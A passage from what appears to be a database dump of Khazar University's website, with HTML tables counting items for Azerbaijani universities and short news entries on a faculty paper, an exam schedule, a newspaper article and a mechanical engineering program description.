width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">253</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">5</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>Azərbaycan Dövlət Neft və Sənaye Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">192</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">51</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>Bakı Dövlət Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">165</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">172</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>Azərbaycan\r\n  Texniki Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">165</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">21</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>Sumqayıt Dövlət Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">54</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">5</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>Azərbaycan\r\n  Dillər Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">48</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">11</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan Dövlət\r\n  Pedaqoji Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">41</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">7</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Bakı Slavyan\r\n  Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">32</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Xəzər Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">15</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">15</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>10.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Naxçıvan\r\n  Dövlət Universiteti<strong></strong></p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>11.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan\r\n  Memarlıq və İnşaat Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">6</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>12.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan Dövlət\r\n  Aqrar Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">2</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>13.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Gəncə Dövlət\r\n  Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">7</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>14.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan Dövlət Mədəniyyət\r\n  və İncəsənət Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">0</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>15.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Mingəçevir Dövlət\r\n  Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">0</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>16.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan Milli Elmlər\r\n  Akademiyası</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">-</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">&nbsp;404</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>17.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan Tibb\r\n  Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">-</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">26</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>18.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\"><a href=\"http://naa.az/\">Milli\r\n  Aviasiya Akademiyası</a></p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">-</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">17</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>19.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">ADA Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">-</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">11</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>20.&nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Odlar Yurdu Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">-</p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">5</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>21.<strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" background:white\"=\"\">Azərbaycan Turizm və Menecment Universiteti<strong></strong></p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" width:106.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\"><strong>-</strong></p>\r\n  </td>\r\n  <td width=\"170\" style=\"\" width:127.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\">2</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(3189,1880,'en','Dr. Moradi’s Paper to be published in the International Journal of Engineering Sciences','A recently submitted scientific article by Dr. Rasoul Moradi, coordinator of the Department of Chemical Engineering, has been accepted for publication in the proceedings of...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">A recently submitted scientific article\r\nby Dr. Rasoul Moradi, coordinator of the Department of Chemical Engineering,\r\nhas been accepted for publication in the proceedings of the 2<sup>nd</sup>&nbsp;International\r\nScience Symposium(&nbsp;<a href=\"http://www.issnwsa.com/accepted-papers/\">http://www.issnwsa.com/accepted-papers/</a>) and in the International Journal of Engineering\r\nSciences. The symposium on “Surface Engineering of the Desalination Membrane\r\nusing Nano-Technology” will be held in Tbilisi, Georgia in September 2017.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Dr. Moradi joined Khazar University in\r\nSeptember 2016 as a visiting scholar from Tehran University, where he was doing\r\nresearch in the field of Nano-Technology. He will be heading an intensive\r\nresearch group on Nano-Technology in membrane design in Khazar University’s\r\nChemical Engineering Department. &nbsp;His work will be extended to other\r\nfields of Petroleum, Mechanical Engineering and Bio-Technology in the near\r\nfuture.&nbsp;</p>'),(535,352,'az','Payız 2018 Aralıq  İmtahan Cədvəli','Payız 2018 Aralıq  İmtahan Cədvəli','<div><br></div><div><img src=\"http://www.khazar.org/files/image/15_10_13_exam_schedule_banner.jpg\"></div><div><br></div><div><br></div><div><strong><br></strong></div><div><strong><a href=\"http://www.khazar.org/files/social/1/Mid.exam_SHSS%202.xlsx\">İMTAHAN_CƏDVƏLİ_PAYIZ_2018</a></strong></div><div><br></div><div><a href=\"http://www.khazar.org/files/social/1/Departments%20Exam-F2018.pdf\"><strong>İNGİLİS_DİLİ_İMTAHANLARI_PAYIZ_2018</strong></a></div>'),(3577,2090,'en','Article on Jubilee Attended by Prof. Hamlet Isakhanli in “Anadolu”','On April 24, 2017, the article of Prof. Dr. Aflatun Nemetzadeh, columnist in “Anadolu”, Turkey`s representative of Azerbaijani newspaper “ Republic”, Honored Artist...','<p>On April 24, 2017, the article of Prof. Dr. Aflatun\r\nNemetzadeh, columnist in “Anadolu”, Turkey`s representative of Azerbaijani\r\nnewspaper “ Republic”, Honored Artist of Azerbaijan, was published in the\r\nnewspaper “Anadolu”. The article , entitled “Düsen Ağa´ya Bakü´de 70. Yılı\r\nyubilesi”, was&nbsp; dedicated to&nbsp; the 70th jubilee of Dusen Kaseinov, Secretary-General\r\nof &nbsp;TURKSOY (International Organization of Turkic Culture), held in <a href=\"https://www.google.com.tr/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=3&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwj7iozhyb_TAhVMWhQKHVwMA9AQFggzMAI&amp;url=http%3A%2F%2Fwww.luxenhouse.az%2F%3F%2Fen%2Fcompanies%2Fview%2F3387%2F%25D0%2590%25D1%2582%25D0%25B0%25D1%2582%25D1%258E%25D1%2580%25D0%25BA%2520%25D1%2586%25D0%25B5%25D0%25BD%25D1%2582%25D1%2580%2520%25D0%25B2%2520%25D0%2590%25D0%25B7%25D0%25B5%25D1%2580%25D0%25B1%25D0%25B0%25D0%25B9%25D0%25B4%25D0%25B6%25D0%25B0%25D0%25BD%25D0%25B5&amp;usg=AFQjCNEtEOQw8W6bb7_tXWFaVddpc94Clg\">Ataturk\r\nCenter in Azerbaijan</a>. </p>\r\n<p>The participation and speech of &nbsp;Prof. Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, in the event,\r\nas well as his being awarded a medal- “In commemoration of the&nbsp;25th\r\nAnniversary of the Independence&nbsp;of Azerbaijan, Kazakhstan, Kyrgyzstan,\r\nUzbekistan and Turkmenistan “by Dusen Kaseinov were covered in the article.</p>\r\n<p>The full\r\nversion of the article is available at the following link:</p>\r\n<p><em><a href=\"http://www.anadolugazete.com.tr/dusen-agaya-bakude-70-yili-jubilesi-415yy.htm\">http://www.anadolugazete.com.tr/dusen-agaya-bakude-70-yili-jubilesi-415yy.htm</a>&nbsp;&nbsp;</em></p>'),(3127,1847,'en','Mechanical Engineering','Mechanical Engineering','<p style=\"text-align:justify\">Mechanical engineering is a diverse subject that derives its breadth from the need to design and manufacture everything from small individual parts and devices (e.g., micro scale&nbsp;sensors and ink-jet&nbsp;printer nozzles) to large systems (e.g., spacecraft and machine tools). The role of a mechanical engineer is to take a product from an idea to the marketplace. In order to accomplish&nbsp;this, a broad range of skills are needed. The mechanical engineer needs to acquire particular skills and knowledge. He/she needs to understand the forces and the thermal environment that a product, its parts, or its subsystems will encounter; to design them for functionality, aesthetics, and the ability to withstand the forces and the thermal environment they will be subjected to; and to determine the best way to manufacture them and ensure they will operate without failure. Perhaps the one skill that is the mechanical engineer’s exclusive domain is the ability to 